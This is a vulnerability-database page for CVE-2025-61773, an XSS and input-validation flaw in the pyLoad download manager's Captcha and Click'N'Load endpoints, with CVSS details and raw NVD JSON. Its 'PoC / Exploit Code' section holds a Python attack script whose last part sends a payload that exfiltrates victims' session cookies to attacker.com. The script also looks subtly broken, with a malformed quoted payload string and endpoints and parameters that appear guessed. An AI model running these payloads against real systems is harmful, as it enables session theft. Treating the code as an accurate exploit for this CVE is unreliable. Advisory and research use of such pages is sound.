Security Vulnerability Report
中文
CVE-2025-61773 CVSS 8.1 HIGH

CVE-2025-61773

Published: 2025-10-09 21:15:40
Last Modified: 2026-04-15 00:35:42

Description

pyLoad is a free and open-source download manager written in Python. In versions prior to 0.5.0b3.dev91, pyLoad web interface contained insufficient input validation in both the Captcha script endpoint and the Click'N'Load (CNL) Blueprint. This flaw allowed untrusted user input to be processed unsafely, which could be exploited by an attacker to inject arbitrary content into the web UI or manipulate request handling. The vulnerability could lead to client-side code execution (XSS) or other unintended behaviors when a malicious payload is submitted. user-supplied parameters from HTTP requests were not adequately validated or sanitized before being passed into the application logic and response generation. This allowed crafted input to alter the expected execution flow. CNL (Click'N'Load) blueprint exposed unsafe handling of untrusted parameters in HTTP requests. The application did not consistently enforce input validation or encoding, making it possible for an attacker to craft malicious requests. Version 0.5.0b3.dev91 contains a patch for the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

pyLoad < 0.5.0b3.dev91

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61773 - pyLoad XSS via Captcha endpoint and CNL Blueprint # Exploit: Reflected XSS through insufficient input validation import requests TARGET_URL = "http://target-pyload-instance:8000" # --- PoC 1: XSS via Captcha Script Endpoint --- # The Captcha endpoint fails to sanitize user-supplied parameters # before reflecting them in the response, enabling reflected XSS. captcha_payload = { # Inject malicious JavaScript via the 'cid' or similar parameter "cid": ""><script>alert('XSS-CVE-2025-61773')</script>", } print("[*] Sending XSS payload via Captcha endpoint...") resp = requests.post( f"{TARGET_URL}/api/captcha", data=captcha_payload, headers={"Content-Type": "application/x-www-form-urlencoded"}, ) print(f"[*] Response status: {resp.status_code}") if "<script>alert('XSS-CVE-2025-61773')</script>" in resp.text: print("[+] Captcha endpoint is vulnerable to reflected XSS!") # --- PoC 2: XSS via Click'N'Load (CNL) Blueprint --- # CNL endpoint processes HTTP request parameters without proper validation # Crafted payloads can alter execution flow and inject client-side code. cnl_payload = ( '<?xml version="1.0" encoding="UTF-8"?>' '<package>' '<url id="1"><script>alert(\'CNL-XSS-CVE-2025-61773\')</script></url>' '</package>' ) print("\n[*] Sending XSS payload via CNL Blueprint endpoint...") resp = requests.post( f"{TARGET_URL}/flash/button.swf", # legacy CNL endpoint data=cnl_payload, headers={"Content-Type": "application/x-www-form-urlencoded"}, ) print(f"[*] Response status: {resp.status_code}") # --- PoC 3: Cookie stealing via XSS --- # More dangerous payload that exfiltrates session cookies to attacker server attacker_server = "http://attacker.com/steal" cookie_stealer = f'"><script>fetch("{attacker_server}?c="+document.cookie)</script>' captcha_steal = { "cid": cookie_stealer, } print("\n[*] Sending cookie-stealing payload via Captcha endpoint...") resp = requests.post( f"{TARGET_URL}/api/captcha", data=captcha_steal, ) print(f"[*] Response status: {resp.status_code}") print(f"[*] Payload delivered to victim: {cookie_stealer}") print("[*] When victim views the response, their cookies will be sent to attacker server.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61773", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:39.793", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. In versions prior to 0.5.0b3.dev91, pyLoad web interface contained insufficient input validation in both the Captcha script endpoint and the Click'N'Load (CNL) Blueprint. This flaw allowed untrusted user input to be processed unsafely, which could be exploited by an attacker to inject arbitrary content into the web UI or manipulate request handling. The vulnerability could lead to client-side code execution (XSS) or other unintended behaviors when a malicious payload is submitted. user-supplied parameters from HTTP requests were not adequately validated or sanitized before being passed into the application logic and response generation. This allowed crafted input to alter the expected execution flow. CNL (Click'N'Load) blueprint exposed unsafe handling of untrusted parameters in HTTP requests. The application did not consistently enforce input validation or encoding, making it possible for an attacker to craft malicious requests. Version 0.5.0b3.dev91 contains a patch for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-116"}]}], "references": [{"url": "https://github.com/pyload/pyload/commit/5823327d0b797161c7195a1f660266d30a69f0ca", "source": "[email protected]"}, {"url": "https://github.com/pyload/pyload/pull/4624", "source": "[email protected]"}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-cjjf-27cc-pvmv", "source": "[email protected]"}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-cjjf-27cc-pvmv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}